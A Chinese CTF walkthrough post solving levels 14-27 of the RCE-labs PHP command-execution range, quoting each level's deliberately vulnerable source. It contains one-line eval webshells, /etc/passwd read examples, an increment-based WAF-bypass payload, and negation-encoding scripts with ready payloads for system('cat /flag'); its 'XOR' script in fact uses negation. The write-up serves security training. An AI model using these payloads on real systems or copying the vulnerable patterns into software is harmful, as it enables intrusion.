RCE_labs通关教程(下)

RCE_labs通关教程(下)

_
本文内容由 AI 辅助生成,已经人工审核和编辑。

题目来源(GitHub):RCE-labs 靶场

这里我用的是 CTF+ 平台来进行练习,平台靶场地址:RCE-labs

level_14

这题很奇怪,提示都没有,只有一个 "too long" 字样,得传入一个参数1才能显示源码。

题目代码:

<?php 
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date:   2024-08-11 14:34
# @Repo:   github.com/ProbiusOfficial/RCE-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com

--- HelloCTF - RCE靶场 : 命令执行 - 长度限制_7字符RCE --- 


*/

if(isset($_GET[1]) && strlen($_GET[1]) < 8){
    echo strlen($_GET[1]);
    echo '<hr/>';
    echo shell_exec($_GET[1]);
}else{
    exit('too long');
}

highlight_file(__FILE__);


?>

这道题考察7 字符 RCE,传入的参数不能超过七个字符。我们直接用通配符 "*" 就可以了。

level_15

题目代码:

<?php 
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date:   2024-08-11 14:34
# @Repo:   github.com/ProbiusOfficial/RCE-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com

--- HelloCTF - RCE靶场 : 命令执行 - 长度限制_5字符RCE --- 



*/
$sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) {
    @exec($_GET['cmd']);
} else if (isset($_GET['reset'])) {
    @exec('/bin/rm -rf ' . $sandbox);
}
highlight_file(__FILE__);

?>

这道题代码就比较复杂,我们来一步一步分析一下:首先定义了一个变量 sandbox,值为 '/www/sandbox' 再拼接上 MD5 加密的值。$_SERVER['REMOTE_ADDR']表示获取用户 IP。所以前三行语句表示根据用户的 IP 来创建文件夹,然后再进入文件夹。

这里是为了在空文件夹下运行命令,来保证每个用户独立。接下来就是进行5 字符 RCE 了。注意:这里的执行命令函数是 exec(),而不是 system(),exec()函数执行后并不会把执行结果输出,这个时候就要想是否可以写入木马,或者反弹 shell。

写入木马:我们的终端处于一个 "沙盒" 文件夹中,想通过网页来访问其中的文件好像很困难。反弹 shell:本题存在5 字符的限制,我们需要想办法在在字符限制内反弹 shell。具体:level_15 反弹 shell

level_16

level_15的方法,进行反弹 shell。(正在探寻新方法

level_17

题目代码:

<?php 
session_start(); 
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date:   2024-08-11 14:34
# @Repo:   github.com/ProbiusOfficial/RCE-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com

--- HelloCTF - RCE靶场 : 命令执行 - PHP命令执行函数 --- 

喵喵喵ww https://www.php.net/manual/zh/ref.exec.php

system() 函数用于在系统权限允许的情况下执行系统命令(Windows 和 Linux 系统均可执行)。eg:system('cat /etc/passwd');
exec() 函数可以执行系统命令,但不会直接输出结果,而是将结果保存到数组中。eg:exec('cat /etc/passwd', $result); print_r($result);
shell_exec() 函数执行系统命令,但返回一个字符串类型的变量来存储系统命令的执行结果。eg:echo shell_exec('cat /etc/passwd');
passthru() 函数执行系统命令并将执行结果输出到页面中,支持二进制数据。eg:passthru('cat /etc/passwd');
popen() 函数执行系统命令,但返回一个资源类型的变量,需要配合 fread() 函数读取结果。eg:$result = popen('cat /etc/passwd', 'r'); echo fread($result, 100);
反引号 用于执行系统命令,返回一个字符串类型的变量来存储命令的执行结果。eg:echo \cat /etc/passwd`;`

在该关卡中,你将会从能够执行系统命令的PHP函数中抽取一个,你需要填充函数的内容来执行某些系统命令以获取flag(tip:flag存储在 /flag 中,当然你也可以尝试其他方法)。


*/
function hello_ctf($function, $content){
    if($function == '``'){
        $code = '`'.$content.'`';
        echo "Your Code: $code <br>";
        eval("echo $code");
    }else
    {
        $code = $function . "(" . $content . ");";
        echo "Your Code: $code <br>";
        eval($code);
    } 
    
}

function get_fun(){

    $func_list = ['system', 'exec', 'shell_exec', 'passthru', 'popen','``'];

    if (!isset($_SESSION['random_func'])) {
        $_SESSION['random_func'] = $func_list[array_rand($func_list)];
    }
    
    $random_func = $_SESSION['random_func'];

    $url_fucn = preg_replace('/_/', '-', $_SESSION['random_func']);

    echo $random_func == '``' ? "获得隐藏运算符: 执行运算符 ,去 https://www.php.net/manual/zh/language.operators.execution.php 详情。<br>" : "获得新的函数: $random_func ,去 https://www.php.net/manual/zh/function.".$url_fucn.".php 查看函数详情。<br>";

    return $_SESSION['random_func'];
}

function start($act){

    $random_func = get_fun();
    
    if($act == "r"){ /* 通过发送GET ?action=r 的方式可以重置当前选中的函数 —— 或者你可以自己想办法可控它x */
        session_unset();
        session_destroy(); 
    }

    if ($act == "submit"){
        $user_content = $_POST['content']; 
        hello_ctf($random_func, $user_content);
    }
}

isset($_GET['action']) ? start($_GET['action']) : '';

highlight_file(__FILE__);

?>

和第二关差不多,都是随机获得函数,然后根据这个函数用法来获得 flag。

level_18

题目代码:


Warning: Invalid argument supplied for foreach() in /var/www/html/index.php on line 15
hello <?php 
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date:   2024-08-11 14:34
# @Repo:   github.com/ProbiusOfficial/RCE-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com

--- HelloCTF - RCE靶场 : 命令执行 - 环境变量注入 --- 

来源:P牛2022的文章【我是如何利用环境变量注入执行任意命令】https://www.leavesongs.com/PENETRATION/how-I-hack-bash-through-environment-injection.html

*/
foreach($_REQUEST['envs'] as $key => $val) {
    putenv("{$key}={$val}");
}

system('echo hello');

highlight_file(__FILE__);

?>

具体分析:环境变量注入执行任意命令

level_19

题目代码:

<?php 
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date:   2024-08-11 14:34
# @Repo:   github.com/ProbiusOfficial/RCE-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com

--- HelloCTF - RCE靶场 : 文件写入导致的RCE --- 

https://www.php.net/manual/zh/function.file-put-contents.php

参考可以写入的内容:
<?php @eval($_POST['a']); ?>

*/

function helloctf($code){
    $code = "file_put_contents(".$code.");";
    eval($code);
}

isset($_GET['c']) ? helloctf($_GET['c']) : '';

highlight_file(__FILE__);

?>

这题考察文件写入导致的 RCE,file_put_contents函数存在两个利用点:1、任意文件写入 2、直接代码执行

level_20

题目界面:

直接上传一句话木马,然后传入参数就行了

level_21

题目代码:

<?php 
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date:   2024-08-11 14:34
# @Repo:   github.com/ProbiusOfficial/RCE-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com

--- HelloCTF - RCE靶场 : 文件包含导致的RCE --- 

allow_url_fopen = On
allow_url_include = On
默认全开的环境,可以尝试多种解法,若对此存有疑问,尝试去 github.com/ProbiusOfficial/PHPinclude-labs 了解更多文件包含的知识。

远程文件包含可用链接(<?php @eval($_POST['a']); ?>):
https://raw.githubusercontent.com/ProbiusOfficial/PHPinclude-labs/main/RFI
https://gitee.com/Probius/PHPinclude-labs/raw/main/RFI

FilterChain的Payload生成器:
https://probiusofficial.github.io/PHP-FilterChain-Exploit/
/exp.php

注意:在本关卡中你传递的内容将以字符串的方式拼接在 include() 函数中,你需要区别这与 incluude($_GET['file']) 的区别。
*/

function helloctf($code){
    $code = "include(".$code.");";
    echo "Your includeCode : ".$code;
    eval($code);
}

isset($_POST['c']) ? helloctf($_POST['c']) : '';

highlight_file(__FILE__);

?>

直接包含文件

PHP伪协议

以 base64 形式输出:

data 读取:

level_22

题目代码:

<?php 
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date:   2024-08-11 14:34
# @Repo:   github.com/ProbiusOfficial/RCE-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com

--- HelloCTF - RCE靶场 : HP 特性 - 动态调用 --- 

PHP 支持在运行时动态构建并且调用函数,在下面的代码中 a可以被作为函数,b可以被作为函数的参数。

try ?a=system&b=ls

*/

isset($_GET['a'])&&isset($_GET['b']) ? $_GET['a']($_GET['b']) : null;

highlight_file(__FILE__);

?>

PHP 支持变量函数语法,如果变量后面加上(),那么就会被当做函数来执行。

代码:$_GET['a']($_GET['b'])$_GET['a']会被解析为函数名,$_GET['b']会被解析为函数的参数。直接让 a 等于 system 函数、b 为参数来获取 flag。

level_23

题目代码:

<?php 
error_reporting(0);
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date:   2024-08-11 14:34
# @Repo:   github.com/ProbiusOfficial/RCE-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com

--- HelloCTF - RCE靶场 : PHP 特性 - 自增 --- 

可用字符:! $ ' ( ) + , . / ; = [ ] _

自增通过一下几个特性实现:
变量:
在PHP中变量以 $ 开头,后面为变量名称,PHP中变量可以是下划线 _ 开头,所以 $_ 是一个变量,$__ 则是不同的变量,就像 $a 和 $aa 一样。

数组->字符串:
在PHP中,非字符串是不能使用 . 符号进行拼接的,当你强制拼接时 PHP 会将非字符串转换为字符串:
$_ = 1; var_dump($_); var_dump($_.'');
这将会输出:int(1) string(1) "1"
但如果 $_ 是一个数组,则会被强制转换为字符串 Array 而无视数组内容。
所以 [].'' 表示在空数组后面拼接空字符串,PHP会优先转换类型,从而将数组转换为字符串 Array。

字符串:
字符串本质上是一个字符的有序序列,同C语言类似,你可以直接通过索引(或者说下标)的方式直接访问字符串中的字符。
$_ = "Hello-CTF";var_dump($_[0]);
这将会输出 string(1) "H"
所以在 $_ = ([].'')[0]; var_dump($_); 你会得到输出:string(1) "A"

自增:
这是一个编程语言中很常见的操作,我们一般在for循环会写到的语句 i++ 或者 ++i,这是一个自增操作,PHP也一样,只不过我们的变量名称不是很常见与之等效的 $_++ 或者 ++$_。
当我们对一个字符或者是字母进行自增操作时,PHP会将其转换为ASCII码,然后自增,然后再转换为字符。直观一点 A++ 将会输出 B,Z++ 将会输出 AA。++的位置决定语句的执行顺序,++在前面时会先进行自增操作。 $_ = ([].'')[0]; 在前面时输出B,后面时输出A。

所以通过特性的连用,你可以看到很多自增的Payload长这样:
payload=$_=(_/_._)[''=='_'];$_++;$__ = $_++;$__ = $_.$__;$_++;$_++;$_++;$__ = $__.$_++.$_++;$_ = $__;$__ ='_';$__.=$_;$$__[__]($$__[_]); 
&__=system 
&_=ls

自增题目的考点通常在Payload的长度限制,挑战关卡,让你的Payload足够短吧。
*/

highlight_file(__FILE__);

isset($_POST['code']) ? $code = $_POST['code'] : $code = null;

if(preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/", $code)){
    die("WAF!");
}else{
    echo "Your Payload's Length : ".strlen($code)."<br>";
    eval($code);
}

?>
Your Payload's Length : 0

直接用题目给的 Payload 就行,不过要 URL 编码。

level_24

题目代码:

<?php 
include ("get_flag.php");
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date:   2024-08-11 14:34
# @Repo:   github.com/ProbiusOfficial/RCE-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com

--- HelloCTF - RCE靶场 : PHP 特性 - 无参命令执行 --- 

根据正则表达式的匹配规则,可以看到我们只能输入A(),这样的形式,括号中无法携带参数,但支持多个函数嵌套A(B(C())),这种形式我们称其为无参命令执行。
无参命令执行的难度首先是在于无参本身,这需要你利用一些函数特性外带参数绕过限制 —— 这可以从一些获取外部值的函数实现:
getallheaders()
session_id()
...
其次是对嵌套参数的处理 —— 当然不局限于外带进来的参数,一些诸如 localeconv() 的函数可以获取内部存在的一些参数如当前目录下面的文件信息等:
getchwd() :函数返回当前工作目录。
scandir() :函数返回指定目录中的文件和目录的数组。
dirname() :函数返回路径中的目录部分。
chdir() :函数改变当前的目录。

通常我们获取到的很多情况下是数组,所以有时候比较依赖对数组的操作,比如:
- array_reverse():数组反转
- pos():输出数组第一个元素
- next():指向数组的下一个元素,并输出
...

随后是一些文件读取显示的操作:
- show_source() - 对文件进行语法高亮显示。
- readfile() - 输出一个文件。
- highlight_file() - 对文件进行语法高亮显示。
- file_get_contents() - 把整个文件读入一个字符串中。
- readgzfile() - 可用于读取非 gzip 格式的文件

...你随时可以通过查阅PHP官方手册中函数相关的部分来找到上面类似的内容。
*/

function hello_code($code){
    if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $code)){
        eval($code);
    }else{
        die("O.o");
    }
    
}

isset($_GET['code']) ? hello_code($_GET['code']) : null;

highlight_file(__FILE__);

?>无参命令执行的核心在于利用函数特性绕过无参限制,通过获取外部值或内部参数实现功能。
数组操作函数常用于处理获取到的数组数据。
文件操作函数用于读取或显示目标文件内容,常用于信息泄露或代码分析场景。

无参命令执行的核心在于利用函数特性绕过无参限制,通过获取外部值或内部参数实现功能。数组操作函数常用于处理获取到的数组数据。文件操作函数用于读取或显示目标文件内容,常用于信息泄露或代码分析场景。

level_25

题目代码:

<?php 
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date:   2024-08-11 14:34
# @Repo:   github.com/ProbiusOfficial/RCE-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com

--- HelloCTF - RCE靶场 : PHP 特性 - 取反绕过 --- 

注*:推荐先完成 无参命令注入部分题目 后再来尝试这一题。

取反题目实际上就是无参命令执行的一个变种,我们可以通过取反的方式来绕过正则表达式的匹配规则,已经有成熟的脚本就不多做说明了。

脚本仓库:https://github.com/ProbiusOfficial/PHP-inversion
https://probiusofficial.github.io/PHP-inversion/
题目提供一个在线的页面脚本来辅助你完成该题目:/exp.html

*/

function hello_code($code){
    if(preg_match("/[A-Za-z0-9]+/", $code)){
        die("WAF!");
    }
    eval($code);
}

isset($_GET['code']) ? hello_code($_GET['code']) : null;

highlight_file(__FILE__);

?>

给了个在线脚本的网站:脚本网站

level_26

题目代码:

<?php 
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date:   2024-08-11 14:34
# @Repo:   github.com/ProbiusOfficial/RCE-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com

--- HelloCTF - RCE靶场 : PHP 特性 - 无字母数字的代码执行 --- 

参考和依据的文章:https://xz.aliyun.com/t/8107

*/

highlight_file(__FILE__);

isset($_POST['code']) ? $code = $_POST['code'] : $code = null;

if(preg_match("/[a-z0-9]/is", $code)){
    die("WAF!");
}else{
    echo "Your Payload's Length : ".strlen($code)."<br>";
    eval($code);
}

?>
Your Payload's Length : 0

下边是取反和异或的脚本:

取反:

//取反脚本
<?php
function negateRce($system, $command) {
    $encoded_system = '';
    $encoded_command = '';
    
    // 对函数名取反并编码
    for ($i = 0; $i < strlen($system); $i++) {
        $not_char = ~$system[$i];
        $encoded_system .= '%' . bin2hex($not_char);
    }
    
    // 对命令取反并编码
    for ($i = 0; $i < strlen($command); $i++) {
        $not_char = ~$command[$i];
        $encoded_command .= '%' . bin2hex($not_char);
    }
    
    // 输出 payload
    echo '[*] (~' . $encoded_system . ')(~' . $encoded_command . ');' . PHP_EOL;
}

// 示例:生成 system('whoami') 的 payload
negateRce('system', 'cat /flag');
?>
#(~%8c%86%8c%8b%9a%92)(~%9c%9e%8b%df%d0%99%93%9e%98);

异或:

//异或脚本
<?php
function encodeNegate($str) {
    $result = [];
    foreach (str_split($str) as $char) {
        $result[] = '%' . sprintf("%02x", (~ord($char)) & 0xff);
    }
    return '"' . implode('', $result) . '"';
}

// 自定义函数和命令
$func = 'system'; // 修改为需要的函数,如 include, file_get_contents
$cmd = 'cat /flag'; // 修改为需要的命令,如 ls, cat flag.php

$payload = "\$_=~" . encodeNegate($func) . ";\$__=~" . encodeNegate($cmd) . ";\$_(\$__);";
echo $payload . "\n";
?>
    #$_=~"%8c%86%8c%8b%9a%92";$__=~"%9c%9e%8b%df%d0%99%93%9e%98";$_($__);

说明

level_27 不太会,还在学习中!大佬们先凑合着看吧!

RCE_labs通关教程(上) 2025-12-29
pikachu靶场通关全流程 2026-01-16

评论区